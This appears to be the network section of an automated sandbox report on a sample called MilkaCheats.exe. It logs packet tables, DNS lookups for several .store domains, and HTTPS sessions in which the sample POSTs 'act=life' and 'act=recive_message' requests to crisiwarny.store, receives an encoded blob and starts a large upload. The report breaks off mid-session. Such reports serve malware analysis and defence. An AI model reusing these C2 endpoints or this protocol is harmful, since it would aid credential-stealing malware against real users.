Oct 27, 2024 16:45:08.456559896 CET	49741	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:08.456595898 CET	443	49741	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:09.080773115 CET	443	49741	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:09.080873013 CET	49741	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:09.082339048 CET	49741	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:09.082389116 CET	443	49741	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:09.083462954 CET	443	49741	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:09.084817886 CET	49741	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:09.084922075 CET	49741	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:09.084935904 CET	443	49741	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:09.623411894 CET	443	49741	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:09.623642921 CET	443	49741	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:09.623681068 CET	49741	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:09.623745918 CET	49741	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.104568958 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.104650021 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.104788065 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.105113029 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.105148077 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.734853983 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.734956026 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.763633013 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.763689995 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.764102936 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.785723925 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.786556005 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.786645889 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.786739111 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.786798954 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.786943913 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.786998987 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.787116051 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.787199974 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.787412882 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.787477016 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.787678003 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.787729025 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.787746906 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.787775993 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.787873030 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.787915945 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.787961960 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.788053036 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.788105965 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.798275948 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.798487902 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.798579931 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.798597097 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.798650026 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:10.798737049 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:10.803807974 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:14.153851032 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:14.154079914 CET	443	49743	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:14.154117107 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:14.154182911 CET	49743	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:14.181072950 CET	49748	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:14.181140900 CET	443	49748	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:14.181287050 CET	49748	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:14.181586027 CET	49748	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:14.181617975 CET	443	49748	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:14.799938917 CET	443	49748	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:14.800046921 CET	49748	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:14.801332951 CET	49748	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:14.801362038 CET	443	49748	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:14.801708937 CET	443	49748	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:14.802979946 CET	49748	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:14.803020000 CET	49748	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:14.803078890 CET	443	49748	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:15.310168028 CET	443	49748	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:15.310380936 CET	443	49748	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:15.310472965 CET	49748	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:15.310549021 CET	49748	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:15.310594082 CET	443	49748	172.67.170.64	192.168.2.4
Oct 27, 2024 16:45:15.310622931 CET	49748	443	192.168.2.4	172.67.170.64
Oct 27, 2024 16:45:15.310637951 CET	443	49748	172.67.170.64	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 16:44:57.889862061 CET	49974	53	192.168.2.4	1.1.1.1
Oct 27, 2024 16:44:57.901324987 CET	53	49974	1.1.1.1	192.168.2.4
Oct 27, 2024 16:44:57.904257059 CET	61665	53	192.168.2.4	1.1.1.1
Oct 27, 2024 16:44:57.914037943 CET	53	61665	1.1.1.1	192.168.2.4
Oct 27, 2024 16:44:57.952079058 CET	55682	53	192.168.2.4	1.1.1.1
Oct 27, 2024 16:44:57.967638969 CET	53	55682	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 16:44:57.889862061 CET	192.168.2.4	1.1.1.1	0x4bff	Standard query (0)	messejawu.store	A (IP address)	IN (0x0001)	false
Oct 27, 2024 16:44:57.904257059 CET	192.168.2.4	1.1.1.1	0xf44f	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 27, 2024 16:44:57.952079058 CET	192.168.2.4	1.1.1.1	0xcec6	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 16:44:57.901324987 CET	1.1.1.1	192.168.2.4	0x4bff	Name error (3)	messejawu.store	none	none	A (IP address)	IN (0x0001)	false
Oct 27, 2024 16:44:57.914037943 CET	1.1.1.1	192.168.2.4	0xf44f	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 27, 2024 16:44:57.967638969 CET	1.1.1.1	192.168.2.4	0xcec6	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false
Oct 27, 2024 16:44:57.967638969 CET	1.1.1.1	192.168.2.4	0xcec6	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

crisiwarny.store

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.170.64	443	6428	C:\Users\user\Desktop\MilkaCheats.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 15:44:58 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-27 15:44:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-27 15:44:59 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 15:44:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l7m9ojf4da84pd9idm6gmh38ni; expires=Thu, 20 Feb 2025 09:31:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gjkak7vpO5A8wdnT3gQ7Ov94k%2Fa%2FpztG6Uzq%2FatXNFu6M3EOJFCxyCciFKLjpjENmVdwrTF07f5OrFd0Ojghe5tT%2FrZzhAmms%2FpYEqhmrV9lk4iPCNTdQKK8sCgPClB%2B0huQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93cf806f56478b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=1783251&cwnd=251&unsent_bytes=0&cid=cad30245dbcea1fe&ts=774&x=0"
2024-10-27 15:44:59 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-27 15:44:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	172.67.170.64	443	6428	C:\Users\user\Desktop\MilkaCheats.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 15:45:00 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-27 15:45:00 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 35 35 37 34 33 34 30 36 32 35 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--5574340625&j=
2024-10-27 15:45:01 UTC	1012	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 15:45:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r0hkrrnvkjit9ajn33pnuh6ogu; expires=Thu, 20 Feb 2025 09:31:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OtPSKhWP4ZNkHN3kBx7Jt3pVLAAvFj%2B2Q6IicEGeEt%2FGwfm1LFAyOpCz3QkF2rdbY11Cv5378yepWZYky3E%2BrIT7r%2BLlrvbvvUn7phMgfEEzo2J86K5n%2FOKZmg2xcl6yuney"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93cf89dd8ce946-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1277&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=2195602&cwnd=251&unsent_bytes=0&cid=9ea3799169a70fe4&ts=1296&x=0"
2024-10-27 15:45:01 UTC	357	IN	Data Raw: 32 64 64 33 0d 0a 32 7a 59 4a 65 38 6c 4e 4f 70 6a 64 55 46 70 42 71 56 6d 34 73 30 6f 43 73 54 6f 6e 4b 44 6a 53 71 58 42 6c 53 69 37 39 4c 6e 36 67 46 48 39 5a 38 33 6b 57 75 71 34 31 65 48 76 64 4b 38 33 57 5a 69 44 51 58 67 55 53 58 72 50 46 41 77 42 6d 44 49 74 44 58 4f 46 51 61 42 65 36 4b 42 61 36 75 43 68 34 65 2f 49 69 6d 74 59 6b 49 49 73 59 51 6b 4a 61 73 38 55 53 42 43 46 42 6a 55 49 64 73 31 70 75 45 36 77 75 58 76 6d 78 50 54 38 6b 7a 44 6a 53 33 53 4e 76 32 56 63 46 42 42 71 33 30 31 4a 66 61 47 4f 59 57 68 2b 57 56 33 6f 51 36 7a 41 57 34 2f 38 31 4e 47 4f 54 65 39 6e 57 4b 47 37 58 58 6b 78 41 55 4c 72 4e 45 77 45 67 58 70 52 49 46 72 4e 55 62 52 4b 6d 4a 30 72 30 75 7a 6f 30 49 73 59 34 6d 70 39 6f 5a 38 73 59 48 51 6f 4a 67 73 67 44 46 Data Ascii: 2dd32zYJe8lNOpjdUFpBqVm4s0oCsTonKDjSqXBlSi79Ln6gFH9Z83kWuq41eHvdK83WZiDQXgUSXrPFAwBmDItDXOFQaBe6KBa6uCh4e/IimtYkIIsYQkJas8USBCFBjUIds1puE6wuXvmxPT8kzDjS3SNv2VcFBBq301JfaGOYWh+WV3oQ6zAW4/81NGOTe9nWKG7XXkxAULrNEwEgXpRIFrNUbRKmJ0r0uzo0IsY4mp9oZ8sYHQoJgsgDF
2024-10-27 15:45:01 UTC	1369	IN	Data Raw: 6f 74 7a 6b 7a 4a 74 6b 77 30 39 77 6c 59 4e 35 53 53 6b 6c 61 74 38 45 59 43 43 4a 49 6b 6b 45 61 75 56 51 72 56 2b 73 6f 51 4c 72 6e 63 68 73 6d 32 7a 7a 57 78 32 70 61 6b 30 63 4c 55 78 71 33 78 31 4a 66 61 45 53 61 54 78 2b 79 57 32 67 52 6f 44 31 59 36 4c 6b 2f 50 54 48 4e 50 74 54 62 4b 33 4c 5a 56 6b 4e 4a 55 37 76 43 46 77 41 73 44 4e 45 4d 47 36 45 55 4d 31 6d 4b 49 6c 50 32 74 53 55 34 59 39 52 31 77 35 45 76 62 4a 4d 41 42 55 35 62 74 4d 6f 57 43 53 5a 49 6b 30 6f 53 74 46 74 74 45 36 73 6f 55 76 4b 33 4d 7a 55 6f 78 44 76 66 33 43 78 6d 33 31 6c 41 43 68 54 77 7a 41 70 48 63 41 79 78 53 78 2b 72 46 6c 34 61 70 53 46 66 37 50 38 74 64 6a 71 4c 50 4e 61 52 63 43 44 64 58 55 70 59 57 36 4c 4f 48 42 55 6b 53 5a 6c 42 48 37 64 55 62 68 36 6d 49 56 Data Ascii: otzkzJtkw09wlYN5SSklat8EYCCJIkkEauVQrV+soQLrnchsm2zzWx2pak0cLUxq3x1JfaESaTx+yW2gRoD1Y6Lk/PTHNPtTbK3LZVkNJU7vCFwAsDNEMG6EUM1mKIlP2tSU4Y9R1w5EvbJMABU5btMoWCSZIk0oStFttE6soUvK3MzUoxDvf3Cxm31lAChTwzApHcAyxSx+rFl4apSFf7P8tdjqLPNaRcCDdXUpYW6LOHBUkSZlBH7dUbh6mIV
2024-10-27 15:45:01 UTC	1369	IN	Data Raw: 64 6a 71 4c 50 4e 61 52 63 43 44 66 55 55 56 42 55 4c 54 4c 46 51 6f 74 54 35 68 50 45 62 35 65 5a 52 36 76 49 31 48 33 75 54 49 2f 4a 38 34 70 33 39 67 6b 62 4a 4d 57 42 55 31 43 38 4a 4e 53 4b 43 39 61 6e 47 4d 66 71 46 30 72 42 75 55 32 47 50 32 7a 63 6d 42 6a 7a 44 37 53 32 69 35 6f 30 30 70 41 52 46 47 78 77 52 51 47 4a 55 43 5a 54 42 32 35 55 6d 63 5a 72 43 68 4b 36 4c 6f 30 4b 69 6d 4c 64 5a 72 57 4d 43 43 4c 47 48 4e 61 54 61 48 64 55 44 49 72 51 70 46 4c 43 76 6c 4c 4a 51 44 72 4b 46 53 36 35 33 49 7a 49 38 63 38 30 74 63 73 61 4e 78 58 54 46 68 62 76 4d 55 41 41 43 68 46 6b 55 4d 51 73 46 6c 73 46 4b 41 6c 56 66 36 34 4d 33 68 74 69 7a 7a 43 6b 58 41 67 35 55 68 49 52 6e 53 37 78 78 74 48 4e 77 4b 47 44 42 75 31 46 44 4e 5a 72 79 4e 51 38 4c 41 Data Ascii: djqLPNaRcCDfUUVBULTLFQotT5hPEb5eZR6vI1H3uTI/J84p39gkbJMWBU1C8JNSKC9anGMfqF0rBuU2GP2zcmBjzD7S2i5o00pARFGxwRQGJUCZTB25UmcZrChK6Lo0KimLdZrWMCCLGHNaTaHdUDIrQpFLCvlLJQDrKFS653IzI8c80tcsaNxXTFhbvMUAAChFkUMQsFlsFKAlVf64M3htizzCkXAg5UhIRnS7xxtHNwKGDBu1FDNZryNQ8LA
2024-10-27 15:45:01 UTC	1369	IN	Data Raw: 7a 7a 65 31 79 63 67 6e 52 68 43 55 68 72 6f 69 7a 30 67 48 51 36 2b 64 6c 79 6d 47 6e 4a 5a 72 43 4d 59 6f 76 38 2b 4f 79 2f 44 4e 4e 7a 59 4a 47 72 61 55 30 6c 42 58 72 7a 43 46 77 45 70 53 5a 70 4e 47 4c 56 65 62 52 71 6f 49 46 66 31 74 33 4a 32 59 38 77 6a 6d 6f 6c 6f 52 63 52 54 53 30 77 61 72 34 55 4c 52 79 39 41 33 78 52 63 74 56 31 74 48 36 34 6a 57 66 79 33 4e 7a 41 6e 79 6a 33 63 30 69 64 6b 31 6c 6c 4b 54 6c 61 2b 77 52 4d 47 4a 45 65 51 52 78 6e 35 47 69 73 65 73 32 38 41 75 6f 34 78 4c 6a 54 62 4e 35 72 4f 5a 6e 6d 54 58 30 6b 4b 41 76 44 4b 41 41 30 69 51 70 70 44 47 62 70 62 62 42 53 74 49 31 4c 7a 74 7a 51 33 4b 74 6b 34 31 74 38 76 62 74 39 57 53 45 42 5a 76 59 74 63 52 79 39 55 33 78 52 63 6c 56 4e 6d 4e 36 41 6a 58 37 71 67 66 43 46 6a Data Ascii: zze1ycgnRhCUhroiz0gHQ6+dlymGnJZrCMYov8+Oy/DNNzYJGraU0lBXrzCFwEpSZpNGLVebRqoIFf1t3J2Y8wjmoloRcRTS0war4ULRy9A3xRctV1tH64jWfy3NzAnyj3c0idk1llKTla+wRMGJEeQRxn5Gises28Auo4xLjTbN5rOZnmTX0kKAvDKAA0iQppDGbpbbBStI1LztzQ3Ktk41t8vbt9WSEBZvYtcRy9U3xRclVNmN6AjX7qgfCFj
2024-10-27 15:45:01 UTC	1369	IN	Data Raw: 6c 6f 4f 4a 4e 75 51 6c 70 4b 73 34 6b 6a 45 53 74 61 6c 45 45 51 2b 55 73 6c 41 4f 73 6f 56 4c 72 6e 63 6a 34 73 77 6a 6a 56 30 43 46 73 33 6c 31 4d 54 31 75 32 7a 78 67 4e 4b 45 71 5a 54 52 6d 7a 56 32 6f 54 6f 69 68 51 2f 62 77 67 65 47 32 4c 50 4d 4b 52 63 43 44 36 58 31 64 45 53 76 44 55 58 42 35 6f 53 35 4d 4d 52 50 6c 51 59 52 61 76 4b 46 54 38 75 6a 51 31 49 73 51 36 32 74 34 73 61 39 70 65 52 45 64 66 76 63 38 41 44 53 4e 44 6b 30 55 51 74 42 51 6c 57 61 77 33 47 4b 4c 2f 41 7a 55 74 78 54 7a 4d 6b 54 63 75 79 68 68 43 52 68 72 6f 69 78 4d 4c 4a 30 2b 51 54 78 2b 34 58 6e 6b 4c 70 79 5a 51 2f 37 4d 35 4e 69 58 5a 50 64 58 59 4b 32 50 61 58 30 31 47 55 4c 50 4d 55 6b 6c 6f 53 34 63 4d 52 50 6c 33 66 41 6d 6d 62 30 65 30 70 6e 49 2f 4c 34 74 6a 6d Data Ascii: loOJNuQlpKs4kjEStalEEQ+UslAOsoVLrncj4swjjV0CFs3l1MT1u2zxgNKEqZTRmzV2oToihQ/bwgeG2LPMKRcCD6X1dESvDUXB5oS5MMRPlQYRavKFT8ujQ1IsQ62t4sa9peREdfvc8ADSNDk0UQtBQlWaw3GKL/AzUtxTzMkTcuyhhCRhroixMLJ0+QTx+4XnkLpyZQ/7M5NiXZPdXYK2PaX01GULPMUkloS4cMRPl3fAmmb0e0pnI/L4tjm
2024-10-27 15:45:01 UTC	1369	IN	Data Raw: 56 56 30 70 44 55 37 54 44 45 51 63 73 53 4a 68 4a 48 37 56 66 62 42 71 6b 4b 31 48 30 74 6a 31 34 62 59 73 38 77 70 46 77 49 50 4a 44 52 6b 5a 58 38 4e 52 63 48 6d 68 4c 6b 77 78 45 2b 56 68 6c 48 4b 73 6c 58 76 36 36 4e 44 49 6d 79 7a 44 5a 33 69 78 6d 31 31 64 46 51 56 4f 78 7a 52 63 4e 49 30 71 53 54 78 71 2f 46 43 56 5a 72 44 63 59 6f 76 38 53 49 79 37 48 50 4a 72 4f 5a 6e 6d 54 58 30 6b 4b 41 76 44 41 48 67 4d 76 54 4a 4a 50 46 4c 78 51 59 52 79 72 4a 30 72 79 76 7a 55 71 4d 63 73 79 33 39 30 72 59 4e 64 65 54 45 78 5a 74 49 74 63 52 79 39 55 33 78 52 63 6c 46 68 73 4d 4b 77 30 47 4f 58 78 4b 33 67 6b 78 33 75 43 6b 53 6c 72 32 56 64 49 53 56 79 7a 77 42 63 4e 4b 55 75 58 51 51 36 36 57 32 51 64 71 79 42 65 2f 4c 34 39 50 69 54 43 4f 74 4c 57 61 43 Data Ascii: VV0pDU7TDEQcsSJhJH7VfbBqkK1H0tj14bYs8wpFwIPJDRkZX8NRcHmhLkwxE+VhlHKslXv66NDImyzDZ3ixm11dFQVOxzRcNI0qSTxq/FCVZrDcYov8SIy7HPJrOZnmTX0kKAvDAHgMvTJJPFLxQYRyrJ0ryvzUqMcsy390rYNdeTExZtItcRy9U3xRclFhsMKw0GOXxK3gkx3uCkSlr2VdISVyzwBcNKUuXQQ66W2QdqyBe/L49PiTCOtLWaC
2024-10-27 15:45:01 UTC	1369	IN	Data Raw: 58 46 43 33 32 78 55 51 4a 77 7a 52 44 42 50 35 44 46 4a 5a 6f 69 68 44 36 36 6b 2f 4b 43 53 4c 42 4a 53 52 4d 43 43 4c 47 48 42 4a 56 4c 37 4d 42 42 5a 6c 61 34 6c 47 47 36 6c 54 66 42 62 72 59 52 6a 38 2f 32 70 72 62 59 73 2f 79 35 46 77 4d 49 45 44 45 42 6b 4e 34 4a 6b 4e 53 54 45 4d 69 51 78 45 36 78 6f 72 43 2b 74 33 47 4c 32 38 49 43 6f 6c 79 43 33 5a 6c 68 5a 65 39 45 4a 49 54 45 32 68 39 53 77 41 4d 6b 47 5a 57 77 33 31 51 57 67 58 70 53 68 4f 75 76 46 79 4e 32 4f 54 41 70 71 5a 61 46 2b 64 47 46 30 4b 41 76 44 2b 45 51 6b 6d 53 34 6c 64 55 5a 35 4f 5a 68 2b 38 50 68 69 30 2f 7a 52 34 65 35 74 31 6d 74 55 35 49 49 73 49 46 78 45 50 34 35 78 43 56 54 63 43 68 67 77 4b 2b 51 77 35 56 2b 73 39 47 4b 4c 2f 64 54 73 78 32 54 33 5a 78 79 73 6e 37 57 5a Data Ascii: XFC32xUQJwzRDBP5DFJZoihD66k/KCSLBJSRMCCLGHBJVL7MBBZla4lGG6lTfBbrYRj8/2prbYs/y5FwMIEDEBkN4JkNSTEMiQxE6xorC+t3GL28IColyC3ZlhZe9EJITE2h9SwAMkGZWw31QWgXpShOuvFyN2OTApqZaF+dGF0KAvD+EQkmS4ldUZ5OZh+8Phi0/zR4e5t1mtU5IIsIFxEP45xCVTcChgwK+Qw5V+s9GKL/dTsx2T3Zxysn7WZ
2024-10-27 15:45:01 UTC	1369	IN	Data Raw: 63 67 63 43 53 39 61 6a 67 45 37 74 31 4e 71 44 37 73 34 56 37 72 78 63 6a 35 6a 6b 32 6d 55 6b 53 78 78 6b 77 41 56 47 41 48 6c 6d 45 56 58 65 6c 50 52 56 56 79 76 46 44 4e 4c 35 57 39 4b 75 75 64 79 66 79 44 5a 4b 64 7a 53 50 6d 4f 55 5a 6e 74 74 56 4c 66 4b 42 42 63 2f 51 39 42 69 4b 70 68 71 56 51 79 6f 49 56 62 39 71 53 4e 34 62 59 73 30 6d 6f 6b 52 49 4a 73 59 65 67 51 61 71 49 74 4b 52 78 31 50 6b 55 49 62 72 30 55 6d 50 71 55 6f 57 65 79 76 4a 54 64 73 35 51 33 37 6b 57 59 67 31 52 67 64 47 42 54 77 7a 77 4e 48 63 42 7a 4e 46 30 6e 71 41 7a 74 4c 74 47 46 42 75 71 6c 79 59 48 47 46 65 38 69 52 63 43 43 55 57 31 64 59 58 4c 50 64 45 55 41 57 63 72 68 43 47 37 68 43 65 78 53 6e 44 6c 76 72 74 51 77 47 4e 73 67 31 31 4e 59 2b 63 5a 4d 57 42 55 55 61 Data Ascii: cgcCS9ajgE7t1NqD7s4V7rxcj5jk2mUkSxxkwAVGAHlmEVXelPRVVyvFDNL5W9KuudyfyDZKdzSPmOUZnttVLfKBBc/Q9BiKphqVQyoIVb9qSN4bYs0mokRIJsYegQaqItKRx1PkUIbr0UmPqUoWeyvJTds5Q37kWYg1RgdGBTwzwNHcBzNF0nqAztLtGFBuqlyYHGFe8iRcCCUW1dYXLPdEUAWcrhCG7hCexSnDlvrtQwGNsg11NY+cZMWBUUa
2024-10-27 15:45:01 UTC	1369	IN	Data Raw: 49 72 58 4a 68 79 49 70 52 47 62 41 6d 6f 62 58 54 39 73 6a 34 47 48 66 77 71 33 63 46 71 52 74 42 4f 52 67 6f 55 38 4e 4e 53 58 32 68 68 6a 55 73 4d 75 68 5a 48 48 71 59 6a 47 4f 58 78 4b 33 67 31 69 32 4f 4a 6e 32 68 79 6b 77 41 46 44 56 6d 69 32 52 51 45 50 6b 2f 59 63 69 4b 55 52 6d 77 4a 71 47 31 70 39 37 73 6b 4c 53 44 62 50 4f 54 76 42 58 4c 55 53 45 59 49 66 34 71 4a 49 78 45 72 54 4a 46 4c 58 50 63 55 63 31 6e 7a 62 33 58 6f 75 43 49 37 59 65 34 42 6d 4f 41 2b 59 39 4e 57 51 67 70 46 2f 74 4a 53 45 57 67 55 7a 41 4a 63 71 78 51 7a 57 65 77 68 56 66 75 38 50 44 73 78 32 54 33 5a 78 79 73 6e 37 57 5a 71 51 56 75 67 78 67 4d 4b 4c 46 71 68 63 6a 75 2f 55 57 77 6e 6c 52 68 4a 2f 61 39 77 48 69 44 64 4f 4a 71 66 61 48 69 54 41 41 56 74 58 4c 58 4d 55 Data Ascii: IrXJhyIpRGbAmobXT9sj4GHfwq3cFqRtBORgoU8NNSX2hhjUsMuhZHHqYjGOXxK3g1i2OJn2hykwAFDVmi2RQEPk/YciKURmwJqG1p97skLSDbPOTvBXLUSEYIf4qJIxErTJFLXPcUc1nzb3XouCI7Ye4BmOA+Y9NWQgpF/tJSEWgUzAJcqxQzWewhVfu8PDsx2T3Zxysn7WZqQVugxgMKLFqhcju/UWwnlRhJ/a9wHiDdOJqfaHiTAAVtXLXMU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	172.67.170.64	443	6428	C:\Users\user\Desktop\MilkaCheats.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 15:45:02 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: crisiwarny.store
